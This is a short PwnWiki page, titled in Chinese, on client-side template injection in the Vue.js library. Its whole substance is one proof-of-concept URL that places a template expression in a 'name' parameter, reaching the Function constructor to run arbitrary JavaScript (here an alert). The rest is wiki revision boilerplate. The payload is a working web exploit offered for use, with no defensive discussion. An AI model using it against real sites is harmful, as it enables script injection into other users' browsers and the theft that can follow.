Vue.js Javascript library客戶端模板注入漏洞

From PwnWiki

Revision as of 17:43, 18 March 2021 by Pwnwiki (talk | contribs) (Created page with "<languages /> ==POC== <pre> http://host/?name={{this.constructor.constructor('alert("foo")')()}} </pre>")

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

POC

http://host/?name={{this.constructor.constructor('alert("foo")')()}}

Retrieved from "https://pwnwiki.com/index.php?title=Vue.js_Javascript_library客戶端模板注入漏洞&oldid=410"